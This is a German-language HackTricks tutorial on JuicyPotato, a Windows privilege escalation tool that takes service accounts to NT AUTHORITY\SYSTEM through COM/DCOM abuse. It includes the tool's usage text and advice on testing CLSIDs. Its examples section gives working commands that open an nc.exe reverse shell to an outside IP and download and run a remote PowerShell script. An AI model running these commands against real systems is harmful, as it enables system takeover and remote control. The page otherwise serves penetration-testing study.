hacktricks/windows-hardening/windows-local-privilege-escalation/juicypotato.md

12 KiB

JuicyPotato

Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

WhiteIntel

WhiteIntel ist eine von Dark Web angetriebene Suchmaschine, die kostenlose Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder seine Kunden von Stealer-Malwaren kompromittiert wurden.

Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe aufgrund von informationsstehlender Malware zu bekämpfen.

Sie können ihre Website besuchen und ihren Dienst kostenlos ausprobieren unter:

{% embed url="https://whiteintel.io" %}


{% hint style="warning" %} JuicyPotato funktioniert nicht auf Windows Server 2019 und Windows 10 ab Build 1809. Jedoch können PrintSpoofer, RoguePotato, SharpEfsPotato verwendet werden, um die gleichen Berechtigungen zu nutzen und Zugriff auf NT AUTHORITY\SYSTEM zu erlangen. Überprüfen Sie: {% endhint %}

{% content-ref url="roguepotato-and-printspoofer.md" %} roguepotato-and-printspoofer.md {% endcontent-ref %}

Juicy Potato (Ausnutzung der goldenen Berechtigungen)

Eine gezuckerte Version von RottenPotatoNG, mit einem Hauch von Saft, d.h. ein weiteres Werkzeug zur lokalen Privilegieneskalation, von einem Windows-Service-Konto zu NT AUTHORITY\SYSTEM

Sie können JuicyPotato von https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts herunterladen

Zusammenfassung

Aus der Juicy-Potato-Readme:

RottenPotatoNG und seine Varianten nutzen die Berechtigungseskalationskette basierend auf dem BITS Dienst, der den MiTM-Listener auf 127.0.0.1:6666 hat und wenn Sie SeImpersonate oder SeAssignPrimaryToken-Berechtigungen haben. Während einer Überprüfung des Windows-Builds fanden wir eine Konfiguration, bei der BITS absichtlich deaktiviert war und Port 6666 belegt war.

Wir beschlossen, RottenPotatoNG zu weaponisieren: Sagen Sie hallo zu Juicy Potato.

Für die Theorie, siehe Rotten Potato - Privilegieneskalation von Service-Konten zu SYSTEM und folgen Sie der Kette von Links und Verweisen.

Wir entdeckten, dass neben BITS mehrere COM-Server missbraucht werden können. Sie müssen nur:

  1. vom aktuellen Benutzer instanziierbar sein, normalerweise ein "Service-Benutzer", der Übernahmeberechtigungen hat
  2. das IMarshal-Interface implementieren
  3. als erhöhter Benutzer (SYSTEM, Administrator, …) ausgeführt werden

Nach einigen Tests haben wir eine umfangreiche Liste von interessanten CLSID's auf mehreren Windows-Versionen erhalten und getestet.

Saftige Details

JuicyPotato ermöglicht es Ihnen:

  • Ziel-CLSID wählen Sie beliebige CLSID aus. Hier finden Sie die Liste nach Betriebssystem organisiert.
  • COM-Listening-Port definieren Sie den bevorzugten COM-Listening-Port (anstelle des marshallierten fest codierten 6666)
  • COM-Listening-IP-Adresse binden Sie den Server an eine beliebige IP
  • Prozesserstellungsmodus je nach Berechtigungen des übernommenen Benutzers können Sie auswählen:
  • CreateProcessWithToken (benötigt SeImpersonate)
  • CreateProcessAsUser (benötigt SeAssignPrimaryToken)
  • beides
  • Zu startender Prozess starten Sie eine ausführbare Datei oder ein Skript, wenn die Ausnutzung erfolgreich ist
  • Prozessargument passen Sie die Argumente des gestarteten Prozesses an
  • RPC-Serveradresse für einen unauffälligen Ansatz können Sie sich an einen externen RPC-Server authentifizieren
  • RPC-Serverport nützlich, wenn Sie sich an einen externen Server authentifizieren möchten und die Firewall den Port 135 blockiert…
  • TEST-Modus hauptsächlich für Testzwecke, d.h. Testen von CLSID's. Es erstellt den DCOM und gibt den Benutzer des Tokens aus. Siehe hier für Tests

Verwendung

T:\>JuicyPotato.exe
JuicyPotato v0.1

Mandatory args:
-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
-p <program>: program to launch
-l <port>: COM server listen port


Optional args:
-m <ip>: COM server listen address (default 127.0.0.1)
-a <argument>: command line argument to pass to program (default NULL)
-k <ip>: RPC server ip address (default 127.0.0.1)
-n <port>: RPC server listen port (default 135)

Abschließende Gedanken

Aus der Readme von Juicy Potato:

Wenn der Benutzer die Berechtigungen SeImpersonate oder SeAssignPrimaryToken hat, sind Sie SYSTEM.

Es ist nahezu unmöglich, den Missbrauch all dieser COM-Server zu verhindern. Sie könnten darüber nachdenken, die Berechtigungen dieser Objekte über DCOMCNFG zu ändern, aber viel Glück, das wird eine Herausforderung sein.

Die eigentliche Lösung besteht darin, sensible Konten und Anwendungen zu schützen, die unter den * SERVICE-Konten ausgeführt werden. Das Stoppen von DCOM würde sicherlich diesen Exploit behindern, könnte jedoch ernsthafte Auswirkungen auf das zugrunde liegende Betriebssystem haben.

Von: http://ohpe.it/juicy-potato/

Beispiele

Hinweis: Besuchen Sie diese Seite für eine Liste von CLSIDs zum Ausprobieren.

Erhalten Sie eine nc.exe Reverse-Shell

c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t *

Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
......
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM

[+] CreateProcessWithTokenW OK

c:\Users\Public>

Powershell rückgängig

.\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t *

Starten Sie eine neue CMD (wenn Sie RDP-Zugriff haben)

CLSID-Probleme

Oft funktioniert die Standard-CLSID, die JuicyPotato verwendet, nicht und der Exploit schlägt fehl. Normalerweise sind mehrere Versuche erforderlich, um eine funktionierende CLSID zu finden. Um eine Liste von CLSIDs für ein bestimmtes Betriebssystem zu erhalten, sollten Sie diese Seite besuchen:

{% embed url="https://ohpe.it/juicy-potato/CLSID/" %}

Überprüfen von CLSIDs

Zunächst benötigen Sie einige ausführbare Dateien neben juicypotato.exe.

Laden Sie Join-Object.ps1 herunter und laden Sie es in Ihre PS-Sitzung, und laden Sie GetCLSID.ps1 herunter und führen Sie es aus. Dieses Skript erstellt eine Liste möglicher CLSIDs zum Testen.

Laden Sie dann test_clsid.bat (ändern Sie den Pfad zur CLSID-Liste und zur juicypotato-Ausführungsdatei) herunter und führen Sie es aus. Es wird versuchen, jede CLSID auszuführen, und wenn sich die Portnummer ändert, bedeutet dies, dass die CLSID funktioniert.

Überprüfen Sie die funktionierenden CLSIDs mit dem Parameter -c

Referenzen

WhiteIntel

WhiteIntel ist eine von Dark Web angetriebene Suchmaschine, die kostenlose Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder seine Kunden von Stealer-Malware kompromittiert wurden.

Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe aufgrund von informationsstehlender Malware zu bekämpfen.

Sie können ihre Website besuchen und ihre Engine kostenlos ausprobieren unter:

{% embed url="https://whiteintel.io" %}

Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!